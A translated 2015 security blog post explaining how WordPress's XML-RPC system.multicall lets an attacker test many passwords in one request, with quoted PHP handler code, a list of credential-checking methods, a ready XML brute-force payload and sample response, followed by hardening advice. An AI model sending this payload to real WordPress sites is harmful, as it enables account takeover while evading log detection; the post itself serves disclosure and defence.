RickGray · 2015/10/12 joyfully

By: RickGray (zhidao chuangyu 404 safety lab)

XMLRPC is the WordPress interface for making remote calls, and account blasting using the XMLRPC call interface has long been proposed and exploited. SUCURI recently published an article on how to use system.multicall in the XMLRPC call interface to improve the burst efficiency, so that thousands of account and password combination attempts can be completed in a single request, greatly reducing the number of requests, and to some extent avoiding log detection.

0x01 Principle Analysis


The XMLRPC service in WordPress is defined in wp-includes/ class-ixr.php and wp-includes/class-wp-xmlrpc-server.php. The IXR_Server base class defines three built-in call methods, system.getCapabilities, System.listMethods, and System.multicall, whose call maps are in the IXR_Server base class definition:

#! php function setCallbacks() { $this->callbacks['system.getCapabilities'] = 'this:getCapabilities'; $this->callbacks['system.listMethods'] = 'this:listMethods'; $this->callbacks['system.multicall'] = 'this:multiCall'; }Copy the code

When the base class is initialized, the call setCallbacks() binds the call mapping:

#! php function __construct( $callbacks = false, $data = false, $wait = false ) { $this->setCapabilities(); if ($callbacks) { $this->callbacks = $callbacks; } $this->setCallbacks(); // Bind the default three basic call mappings if (! $wait) { $this->serve($data); }}Copy the code

Let’s look at the corresponding handler for System.multicall:

#! php function multiCall($methodcalls) { // See http://www.xmlrpc.com/discuss/msgReader$1208 $return = array(); foreach ($methodcalls as $call) { $method = $call['methodName']; $params = $call['params']; if ($method == 'system.multicall') { $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden'); } else { $result = $this->call($method, $params); } if (is_a($result, 'IXR_Error')) { $return[] = array( 'faultCode' => $result->code, 'faultString' => $result->message ); } else { $return[] = array($result); } } return $return; }Copy the code

As you can see from the code, the program parses the XML passed by the request, iterates through each interface call request in multiple calls, and aggregates the result of the final call back to the requester.

So that it can be 500 or even 10000 kinds of blasting account/password attempts to include in a request, the server will be quickly processed and returns the result, so greatly improve the efficiency of the blasting, using multiple call interface compressing the number of requests, 10000 kinds of account password try to leave a will only be on the target server access log, To some extent, the security detection of logs is avoided.

By reading the XMLRPC handling code in WordPress, you can see that a large number of XMLRPC calls validate the username and password:

#! php if ( ! $user = $this->login($username, $password) ) return $this->error;Copy the code

A search of the login verification code above can yield a list of all the call methods that can be used for blasting as follows:

wp.getUsersBlogs, wp.newPost, wp.editPost, wp.deletePost, wp.getPost, wp.getPosts, wp.newTerm, wp.editTerm, wp.deleteTerm, wp.getTerm, wp.getTerms, wp.getTaxonomy, wp.getTaxonomies, wp.getUser, wp.getUsers, wp.getProfile, wp.editProfile, wp.getPage, wp.getPages, wp.newPage, wp.deletePage, wp.editPage, wp.getPageList, wp.getAuthors, wp.getTags, wp.newCategory, wp.deleteCategory, wp.suggestCategories, wp.getComment, wp.getComments, wp.deleteComment, wp.editComment, wp.newComment, wp.getCommentStatusList, wp.getCommentCount, wp.getPostStatusList, wp.getPageStatusList, wp.getPageTemplates, wp.getOptions, wp.setOptions, wp.getMediaItem, wp.getMediaLibrary, wp.getPostFormats, wp.getPostType, wp.getPostTypes, wp.getRevisions, wp.restoreRevision, blogger.getUsersBlogs, blogger.getUserInfo, blogger.getPost, blogger.getRecentPosts, blogger.newPost, blogger.editPost, blogger.deletePost, mw.newPost, mw.editPost, mw.getPost, mw.getRecentPosts, mw.getCategories, mw.newMediaObject, mt.getRecentPostTitles, mt.getPostCategories, mt.setPostCategories
Copy the code

Here is the wp.getUsersblogs test, which is the most direct way to pass the least acquired information with parameters. The two account password attempts are contained in the same request, and the XML request content is constructed as:

#! xml <methodCall> <methodName>system.multicall</methodName> <params><param> <value><array><data> <value><struct> <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member> <member><name>params</name><value><array><data> <value><string>admin</string></value> <value><string>admin888</string></value> </data></array></value></member> </struct></value> <value><struct> <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member> <member><name>params</name><value><array><data> <value><string>guest</string></value> <value><string>test</string></value> </data></array></value></member> </struct></value> </data></array></value> </param></params> </methodCall>Copy the code

Send the XML request with the two child calls above to the XMLRPC server entry. If the target is turned on, the XMLRPC server returns information similar to the following:

#! xml <? The XML version = "1.0" encoding = "utf-8"? > <methodResponse> <params> <param> <value> <array><data> <value><array><data> <value><array><data> <value><struct> <member><name>isAdmin</name><value><boolean>1</boolean></value></member> < member > < name > url: < / name > < value > < string > http://172.16.96.130/xampp/wordpress-4.3.1/ < / string > < value > / < / member > <member><name>blogid</name><value><string>1</string></value></member> < member > < name > blogName < / name > < value > < string > WordPress 4.3.1 < / string > < value > / < / member > The < member > < name > XMLRPC < / name > < value > < string > http://172.16.96.130/xampp/wordpress-4.3.1/xmlrpc.php < / string > < value > / < / member > </struct></value> </data></array></value> </data></array></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string> The username or password is incorrect. </string></value></member> </struct></value> </data></array> </value> </param> </params> </methodResponse>Copy the code

It can be seen from the result that two account password combinations are processed in the same request and the result is returned in a centralized form, which can greatly improve the account blasting efficiency.

0x02 Protection Suggestion


This problem still exists in the latest version of WordPress(4.3.1). Multicall is the STANDARD of XMLRPC. To prevent attackers from blasting websites with multicall, the following suggestions are given:

  1. Configure Web servers such as Apache and Nginx to restrict the access to the XMLRPC. PHP file.
  2. You can delete the xmlrpc.php file without affecting the running of the site;
  3. Install and enable Disable XML-RPC from the official plug-in library;
  4. Add codeadd_filter('xmlrpc_enabled', '__return_false');To the WordPress configuration filewp-config.php;

0x03 Reference link


  • Blog.sucuri.net/2015/10/bru…
  • Pop. Co/blog/protec…
  • www.deluxeblogtips.com/2013/08/dis…

The original reference: blog.knownsec.com/2015/10/wor…